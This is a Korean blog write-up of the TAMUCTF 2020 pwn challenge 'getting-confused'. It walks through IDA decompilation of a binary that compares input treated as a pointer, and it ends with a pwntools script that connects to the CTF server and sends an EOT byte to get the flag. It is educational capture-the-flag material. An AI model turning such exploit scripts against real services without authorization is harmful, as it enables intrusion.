TAMUCTF2020] PWN - GETTING-CONFUSED

woounnan·2020년 3월 31일
1

wargame

목록 보기
30/59
post-thumbnail

문제

oot@kali:/work/myspace/TAMUCTF/pwn/GETTING_CONFUSED# ./getting-confused 
Howdy! First floor.
howdy
Thanks and...
gig 'em
What's our secret way of knowing when another one of us is in a crowd?
123
세그멘테이션 오류
root@kali:/work/myspace/TAMUCTF/pwn/GETTING_CONFUSED# 

문자열('howdy', 'gig 'em')을 입력받고
마지막 입력에서 segment fault가 발생한다.


풀이

분석

IDA로 확인해보자

int __cdecl main(int argc, const char **argv, const char **envp)
{
  st *p_heap; // rax@7
  __int64 v4; // rbx@7
  __int64 v5; // rbx@7
  __int64 v6; // rbx@7
  __int64 v7; // rbx@7
  FILE *stream; // ST08_8@10
  int result; // eax@10
  __int64 v10; // rbx@10
  char dst[8]; // [sp+10h] [bp-A0h]@1
  __int64 v12; // [sp+18h] [bp-98h]@7
  __int64 v13; // [sp+20h] [bp-90h]@7
  __int64 v14; // [sp+28h] [bp-88h]@7
  __int64 v15; // [sp+30h] [bp-80h]@7
  __int64 v16; // [sp+38h] [bp-78h]@7
  __int64 v17; // [sp+40h] [bp-70h]@7
  __int64 v18; // [sp+48h] [bp-68h]@7
  const char *s[9]; // [sp+50h] [bp-60h]@1
  __int64 v20; // [sp+98h] [bp-18h]@1

  v20 = *MK_FP(__FS__, 40LL);
  puts("Howdy! First floor.");
  fgets(s, 64, stdin);
  strcpy(dst, "howdy\n");
  if ( strcmp(s, dst) )
  {
    puts("How 2%er of you.");
    exit(1);
  }
  puts("Thanks and...");
  fgets(s, 64, stdin);
  strcpy(dst, "gig 'em\n");
  if ( strcmp(s, dst) )
  {
    puts("How 2%er of you.");
    exit(1);
  }

앞서 확인한 'howdy''gig 'em을 입력받는 코드이다.
특별한 것 없다.

strcpy(dst, "whoop\n");
  p_heap = malloc(0x40uLL);
  s[0] = p_heap;
  v4 = v12;
  p_heap->field_0 = *dst;
  p_heap->field_8 = v4;
  v5 = v14;
  p_heap->field_10 = v13;
  p_heap->field_18 = v5;
  v6 = v16;
  p_heap->field_20 = v15;
  p_heap->field_28 = v6;
  v7 = v18;
  p_heap->field_30 = v17;
  p_heap->field_38 = v7;
  puts("What's our secret way of knowing when another one of us is in a crowd?");
  fgets(s, 64, stdin);
  if ( strcmp(s[0], dst) )
  {
    puts("Begone, 2%er!");
    exit(1);
  }
  stream = fopen("flag.txt", "r");
  fgets(s, 64, stream);
  puts(s);
  fclose(stream);
  result = 0;
  v10 = *MK_FP(__FS__, 40LL) ^ v20;
  return result;
}

다음으로 마지막 입력을 받는 코드이다.
순서는 다음과 같다.

  1. 먼저 비교 대상 문자열을 'whoop'으로 설정한다.
  2. 그리고 heap을 할당받아서 어떤 값들을 세팅한다.
  3. 마지막으로 s[0]'whoop'을 비교한다.

중요한 것은 마지막에 s[0]'whoop'을 비교한다는 것이다.

s[0]

s[0]이 무엇을 나타낼까?
우리가 입력한 값은 s에 저장한다.
이전에는 strcmp(s, dst) 형태로 비교가 되었다.

그런데 갑자기 s[0]과 비교를 하니 이해가 되지 않았다.
어셈블리로 확인해봤다.

s[0]은 우리가 마지막에 입력한 값의 앞의 4자리를 의미했다.
우리가 마지막 입력한 값은 접근할 수 없는 주소이므로 세그먼트 폴트가 발생한 것이었다.

그렇다면 문제를 풀기위해 어떻게 해야할까?

주소값 입력

'whoop'이 위치한 주소값을 입력하면 되겠다.
하지만
'whoop'이 위치한 상수 주소값, 스택에 저장된 주소값, 힙에 저장된 주소값 모두 대입해봤지만 실패했다.

아마 서버에서 aslr이 적용되있다고 볼 수밖에 없었다.

fgets skip

다른 pwnable 문제를 풀어보면서 얼핏 알고있던 방법이다.
페이로드를 쉘에서 입력하기 위해 python -c print를 사용할 경우
fgets가 스킵될 때가 있었다.

마지막 fgets가 스킵되도록 파이썬으로 페이로드를 입력하되, 파이프로 그 값을 넘겨주었다.
로컬에서 시도해보았다.

성공했다.
하지만 nc로 서버에 접속하는 명령어로 넘겨주면 실패했다.
로컬과 다르게 마지막 fgets가 스킵되지 않는 것 같다.

그렇다면 fgets를 스킵시킬 수 있는 방법을 찾아야 했다.

EOT

답은 EOT 문자였다.
EOTEnd of Text로 Text 전송이 끝났다는 걸 의미한다.
(검색해도 나오지 않아 브루트포스로 하나씩 문자를 대입해보며 확인한 결과다.)

어쨌든 원인을 찾음과 동시에 플래그값도 획득할 수 있었다.
작성한 코드는 다음과 같다.

from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')

def main():
    e = ELF('./getting-confused')
    #p = process('./getting-confused')
    for lb in range(00, 0x100):
        p = remote('challenges.tamuctf.com', 4352)
        sleep(1)
        p.send('howdy\n')
        sleep(1)
        p.send('gig \'em\n')
        sleep(1)
        #p.send(bytearray([lb, 0x0a]).decode('utf-8'))
        p.send('\x04')
        sleep(1)
        v_recv =p.recv(1024)
        print v_recv
        '''
        if v_recv.find('gigem') != -1:
            print v_recv
            raw_input('bytes: ' + str(bytearray([lb, 0x0a])))
            break
        '''

if __name__ == '__main__':
    main()

0개의 댓글